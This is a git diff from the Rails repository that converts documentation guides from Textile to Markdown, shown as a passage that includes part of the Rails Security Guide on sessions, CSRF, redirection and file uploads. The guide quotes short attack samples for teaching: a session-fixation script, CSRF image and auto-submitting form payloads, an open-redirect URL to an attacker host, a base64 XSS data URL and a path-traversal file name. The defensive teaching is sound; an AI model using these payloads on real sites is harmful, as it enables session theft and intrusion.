-You may restrict the listing to the routes that map to a particular controller setting the +CONTROLLER+ environment variable:
-
-<shell>
-$ CONTROLLER=users rake routes
-</shell>
-
-TIP: You'll find that the output from +rake routes+ is much more readable if you widen your terminal window until the output lines don't wrap.
-
-h4. Testing Routes
-
-Routes should be included in your testing strategy (just like the rest of your application). Rails offers three "built-in assertions":http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html designed to make testing routes simpler:
-
-* +assert_generates+
-* +assert_recognizes+
-* +assert_routing+
-
-h5. The +assert_generates+ Assertion
-
-+assert_generates+ asserts that a particular set of options generate a particular path and can be used with default routes or custom routes.
-
-<ruby>
-assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" }
-assert_generates "/about", :controller => "pages", :action => "about"
-</ruby>
-
-h5. The +assert_recognizes+ Assertion
-
-+assert_recognizes+ is the inverse of +assert_generates+. It asserts that a given path is recognized and routes it to a particular spot in your application.
-
-<ruby>
-assert_recognizes({ :controller => "photos", :action => "show", :id => "1" }, "/photos/1")
-</ruby>
-
-You can supply a +:method+ argument to specify the HTTP verb:
-
-<ruby>
-assert_recognizes({ :controller => "photos", :action => "create" }, { :path => "photos", :method => :post })
-</ruby>
-
-h5. The +assert_routing+ Assertion
-
-The +assert_routing+ assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of +assert_generates+ and +assert_recognizes+.
-
-<ruby>
-assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" })
-</ruby>
diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md
new file mode 100644
index 0000000000..e589a3d093
--- /dev/null
+++ b/guides/source/ruby_on_rails_guides_guidelines.md
@@ -0,0 +1,121 @@
+Ruby on Rails Guides Guidelines
+===============================
+
+This guide documents guidelines for writing Ruby on Rails Guides. This guide follows itself in a graceful loop, serving itself as an example.
+
+--------------------------------------------------------------------------------
+
+Markdown
+-------
+
+Guides are written in [GitHub Flavored Markdown](http://github.github.com/github-flavored-markdown/). There is comprehensive [documentation for Markdown](http://daringfireball.net/projects/markdown/syntax), a [cheatsheet](http://daringfireball.net/projects/markdown/basics), and [additional documentation](http://github.github.com/github-flavored-markdown/) on the differences from traditional Markdown.
+
+Prologue
+--------
+
+Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. See for example the [Routing Guide](routing.html).
+
+Titles
+------
+
+The title of every guide uses `h1`; guide sections use `h2`; subsections `h3`; etc. However, the generated HTML output will have the heading tag starting from `<h2>`.
+
+```
+Guide Title
+===========
+
+Section
+-------
+
+### Sub Section
+```
+
+Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be:
+
+```
+#### Middleware Stack is an Array
+#### When are Objects Saved?
+```
+
+Use the same typography as in regular text:
+
+```
+##### The `:content_type` Option
+```
+
+API Documentation Guidelines
+----------------------------
+
+The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html:)
+
+* [Wording](api_documentation_guidelines.html#wording)
+* [Example Code](api_documentation_guidelines.html#example-code)
+* [Filenames](api_documentation_guidelines.html#filenames)
+* [Fonts](api_documentation_guidelines.html#fonts)
+
+Those guidelines apply also to guides.
+
+HTML Guides
+-----------
+
+### Generation
+
+To generate all the guides, just `cd` into the **`guides`** directory and execute:
+
+```
+bundle exec rake guides:generate
+```
+
+or
+
+```
+bundle exec rake guides:generate:html
+```
+
+(You may need to run `bundle install` first to install the required gems.)
+
+To process `my_guide.md` and nothing else use the `ONLY` environment variable:
+
+```
+touch my_guide.md
+bundle exec rake guides:generate ONLY=my_guide
+```
+
+By default, guides that have not been modified are not processed, so `ONLY` is rarely needed in practice.
+
+To force processing all the guides, pass `ALL=1`.
+
+It is also recommended that you work with `WARNINGS=1`. This detects duplicate IDs and warns about broken internal links.
+
+If you want to generate guides in a language other than English, you can keep them in a separate directory under `source` (eg. `source/es`) and use the `GUIDES_LANGUAGE` environment variable:
+
+```
+bundle exec rake guides:generate GUIDES_LANGUAGE=es
+```
+
+If you want to see all the environment variables you can use to configure the generation script just run:
+
+```
+rake
+```
+
+### Validation
+
+Please validate the generated HTML with:
+
+```
+bundle exec rake guides:validate
+```
+
+Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set `WARNINGS=1` when generating guides to detect them. The warning messages suggest a solution.
+
+Kindle Guides
+-------------
+
+### Generation
+
+To generate guides for the Kindle, use the following rake task:
+
+```
+bundle exec rake guides:generate:kindle
+```
diff --git a/guides/source/ruby_on_rails_guides_guidelines.textile b/guides/source/ruby_on_rails_guides_guidelines.textile
deleted file mode 100644
index dd209b61d6..0000000000
--- a/guides/source/ruby_on_rails_guides_guidelines.textile
+++ /dev/null
@@ -1,104 +0,0 @@
-h2. Ruby on Rails Guides Guidelines
-
-This guide documents guidelines for writing Ruby on Rails Guides. This guide follows itself in a graceful loop, serving itself as an example.
-
-endprologue.
-
-h3. Textile
-
-Guides are written in "Textile":http://www.textism.com/tools/textile/. There is comprehensive "documentation":http://redcloth.org/hobix.com/textile/ and a "cheatsheet":http://redcloth.org/hobix.com/textile/quick.html for markup.
-
-h3. Prologue
-
-Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. See for example the "Routing Guide":routing.html.
-
-h3. Titles
-
-The title of every guide uses +h2+; guide sections use +h3+; subsections +h4+; etc.
-
-Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be:
-
-<plain>
-h5. Middleware Stack is an Array
-h5. When are Objects Saved?
-</plain>
-
-Use the same typography as in regular text:
-
-<plain>
-h6. The <tt>:content_type</tt> Option
-</plain>
-
-h3. API Documentation Guidelines
-
-The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the "API Documentation Guidelines":api_documentation_guidelines.html:
-
-* "Wording":api_documentation_guidelines.html#wording
-* "Example Code":api_documentation_guidelines.html#example-code
-* "Filenames":api_documentation_guidelines.html#filenames
-* "Fonts":api_documentation_guidelines.html#fonts
-
-Those guidelines apply also to guides.
-
-h3. HTML Guides
-
-h4. Generation
-
-To generate all the guides, just +cd+ into the *+guides+* directory and execute:
-
-<plain>
-bundle exec rake guides:generate
-</plain>
-
-or
-
-<plain>
-bundle exec rake guides:generate:html
-</plain>
-
-(You may need to run +bundle install+ first to install the required gems.)
-
-To process +my_guide.textile+ and nothing else use the +ONLY+ environment variable:
-
-<plain>
-touch my_guide.textile
-bundle exec rake guides:generate ONLY=my_guide
-</plain>
-
-By default, guides that have not been modified are not processed, so +ONLY+ is rarely needed in practice.
-
-To force processing all the guides, pass +ALL=1+.
-
-It is also recommended that you work with +WARNINGS=1+. This detects duplicate IDs and warns about broken internal links.
-
-If you want to generate guides in a language other than English, you can keep them in a separate directory under +source+ (eg. <tt>source/es</tt>) and use the +GUIDES_LANGUAGE+ environment variable:
-
-<plain>
-bundle exec rake guides:generate GUIDES_LANGUAGE=es
-</plain>
-
-If you want to see all the environment variables you can use to configure the generation script just run:
-
-<plain>
-rake
-</plain>
-
-h4. Validation
-
-Please validate the generated HTML with:
-
-<plain>
-bundle exec rake guides:validate
-</plain>
-
-Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set +WARNINGS=1+ when generating guides to detect them. The warning messages suggest a solution.
-
-h3. Kindle Guides
-
-h4(#generation-kindle). Generation
-
-To generate guides for the Kindle, use the following rake task:
-
-<plain>
-bundle exec rake guides:generate:kindle
-</plain>
diff --git a/guides/source/security.textile b/guides/source/security.md
index 49e5da6bb7..0186386059 100644
--- a/guides/source/security.textile
+++ b/guides/source/security.md
@@ -1,8 +1,9 @@
-h2. Ruby On Rails Security Guide
+Ruby On Rails Security Guide
+============================
This manual describes common security problems in web applications and how to avoid them with Rails. After reading it, you should be familiar with:
-* All countermeasures _(highlight)that are highlighted_
+* All countermeasures _that are highlighted_
* The concept of sessions in Rails, what to put in there and popular attack methods
* How just visiting a site can be a security problem (with CSRF)
* What you have to pay attention to when working with files or providing an administration interface
@@ -10,9 +11,10 @@ This manual describes common security problems in web applications and how to av
* How to manage users: Logging in and out and attack methods on all layers
* And the most popular injection attack methods
-endprologue.
+--------------------------------------------------------------------------------
-h3. Introduction
+Introduction
+------------
Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.
@@ -24,11 +26,12 @@ The threats against web applications include user account hijacking, bypass of a
In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that's how you find the nasty logical security problems.
-h3. Sessions
+Sessions
+--------
A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.
-h4. What are Sessions?
+### What are Sessions?
NOTE: _HTTP is a stateless protocol. Sessions make it stateful._
@@ -37,18 +40,18 @@ Rails will create a new session automatically if a new user accesses the applica
A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:
-<ruby>
+```ruby
session[:user_id] = @current_user.id
User.find(session[:user_id])
-</ruby>
+```
-h4. Session id
+### Session id
NOTE: _The session id is a 32 byte long MD5 hash value._
A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.
-h4. Session Hijacking
+### Session Hijacking
WARNING: _Stealing a user's session id lets an attacker use the web application in the victim's name._
@@ -56,55 +59,53 @@ Many web applications have an authentication system: a user provides a user name
Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
-* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _(highlight)provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
+* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
-<ruby>
-config.force_ssl = true
-</ruby>
+ ```ruby
+ config.force_ssl = true
+ ```
-* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _(highlight)log-out button_ in the web application, and _(highlight)make it prominent_.
+* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _log-out button_ in the web application, and _make it prominent_.
* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
-The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the "Symantec Global Internet Security Threat Report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf.
+The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
-h4. Session Guidelines
+### Session Guidelines
Here are some general guidelines on sessions.
-* _(highlight)Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
+* _Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
-* _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
+* _Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
-h4. Session Storage
+### Session Storage
-NOTE: _Rails provides several storage mechanisms for the session hashes. The most important are +ActiveRecord::SessionStore+ and +ActionDispatch::Session::CookieStore+._
-
-There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecord::SessionStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecord::SessionStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.
+NOTE: _Rails provides several storage mechanisms for the session hashes. The most important is `ActionDispatch::Session::CookieStore`._
Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
-* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _(highlight)Storing the current user's database id in a session is usually ok_.
+* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _Storing the current user's database id in a session is usually ok_.
-* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _(highlight)you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
+* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
-That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _(highlight)don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb:
+That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb:
-<ruby>
+```ruby
config.action_dispatch.session = {
:key => '_app_session',
:secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...'
}
-</ruby>
+```
There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.
-h4. Replay Attacks for CookieStore Sessions
+### Replay Attacks for CookieStore Sessions
-TIP: _Another sort of attack you have to be aware of when using +CookieStore+ is the replay attack._
+TIP: _Another sort of attack you have to be aware of when using `CookieStore` is the replay attack._
It works like this:
@@ -116,44 +117,44 @@ It works like this:
Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
-The best _(highlight)solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session.
+The best _solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session.
-h4. Session Fixation
+### Session Fixation
NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
-!images/session_fixation.png(Session fixation)!
+![Session fixation](images/session_fixation.png)
This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
-# The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
-# He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
-# Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: +&lt;script&gt;
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
&lt;/script&gt;+. Read more about XSS and injection later on.
-# The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
-# As the new trap session is unused, the web application will require the user to authenticate.
-# From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
+* The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
+* He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
+* Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on.
+* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
+* As the new trap session is unused, the web application will require the user to authenticate.
+* From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
-h4. Session Fixation – Countermeasures
+### Session Fixation – Countermeasures
TIP: _One line of code will protect you from session fixation._
-The most effective countermeasure is to _(highlight)issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
+The most effective countermeasure is to _issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
-<ruby>
+```ruby
reset_session
-</ruby>
+```
-If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _(highlight)you have to transfer them to the new session_.
+If you use the popular RestfulAuthentication plugin for user management, add reset\_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_.
-Another countermeasure is to _(highlight)save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _(highlight)These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way.
+Another countermeasure is to _save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way.
-h4. Session Expiry
+### Session Expiry
NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
-One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20 minutes")+ to expire sessions that were used longer than 20 minutes ago.
+One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago.
-<ruby>
+```ruby
class Session < ActiveRecord::Base
def self.sweep(time = 1.hour)
if time.is_a?(String)
@@ -163,25 +164,26 @@ class Session < ActiveRecord::Base
delete_all "updated_at < '#{time.ago.to_s(:db)}'"
end
end
-</ruby>
+```
The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
-<ruby>
+```ruby
delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
created_at < '#{2.days.ago.to_s(:db)}'"
-</ruby>
+```
-h3. Cross-Site Request Forgery (CSRF)
+Cross-Site Request Forgery (CSRF)
+---------------------------------
This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.
-!images/csrf.png!
+![](images/csrf.png)
In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
-* +&lt;img src="http://www.webapp.com/project/1/destroy"&gt;+
+* `<img src="http://www.webapp.com/project/1/destroy">`
* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
@@ -189,29 +191,29 @@ In the <a href="#sessions">session chapter</a> you have learned that most Rails
It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.
-CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _(highlight)CSRF is an important security issue_.
+CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _CSRF is an important security issue_.
-h4. CSRF Countermeasures
+### CSRF Countermeasures
NOTE: _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
-*Use GET if:*
+**Use GET if:**
-* The interaction is more _(highlight)like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup).
+* The interaction is more _like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup).
-*Use POST if:*
+**Use POST if:**
-* The interaction is more _(highlight)like an order_, or
-* The interaction _(highlight)changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
-* The user is _(highlight)held accountable for the results_ of the interaction.
+* The interaction is more _like an order_, or
+* The interaction _changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
+* The user is _held accountable for the results_ of the interaction.
-If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier.
+If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden `_method` field to handle this barrier.
-_(highlight)POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
+_POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
-<html>
+```html
<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
@@ -220,76 +222,77 @@ _(highlight)POST requests can be sent automatically, too_. Here is an example fo
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">To the harmless survey</a>
-</html>
+```
Or the attacker places the code into the onmouseover event handler of an image:
-<html>
+```html
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
-</html>
+```
-There are many other possibilities, including Ajax to attack the victim in the background.
The _(highlight)solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
+There are many other possibilities, including Ajax to attack the victim in the background.
The _solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
-<ruby>
+```ruby
protect_from_forgery :secret => "123456789012345678901234567890..."
-</ruby>
+```
-This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. *Note:* In Rails versions prior to 3.0.4, this raised an <tt>ActionController::InvalidAuthenticityToken</tt> error.
+This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. **Note:** In Rails versions prior to 3.0.4, this raised an `ActionController::InvalidAuthenticityToken` error.
-It is common to use persistent cookies to store user information, with +cookies.permanent+ for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:
+It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:
-<ruby>
+```ruby
def handle_unverified_request
super
sign_out_user # Example method that will destroy the user cookies.
end
-</ruby>
+```
-The above method can be placed in the +ApplicationController+ and will be called when a CSRF token is not present on a non-GET request.
+The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request.
-Note that _(highlight)cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
+Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
-h3. Redirection and Files
+Redirection and Files
+---------------------
Another class of security vulnerabilities surrounds the use of redirection and files in web applications.
-h4. Redirection
+### Redirection
WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
-<ruby>
+```ruby
def legacy
redirect_to(params.update(:action=>'main'))
end
-</ruby>
+```
This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
-<plain>
+```
http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
-</plain>
+```
-If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_.
+If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _And if you redirect to an URL, check it with a whitelist or a regular expression_.
-h5. Self-contained XSS
+#### Self-contained XSS
Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:
-+data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K+
+`data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K`
-This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _(highlight)do not allow the user to supply (parts of) the URL to be redirected to_.
+This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _do not allow the user to supply (parts of) the URL to be redirected to_.
-h4. File Uploads
+### File Uploads
NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._
-Many web applications allow users to upload files. _(highlight)File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
+Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
-When filtering user input file names, _(highlight)don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _(highlight)checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the "attachment_fu plugin":https://github.com/technoweenie/attachment_fu/tree/master:
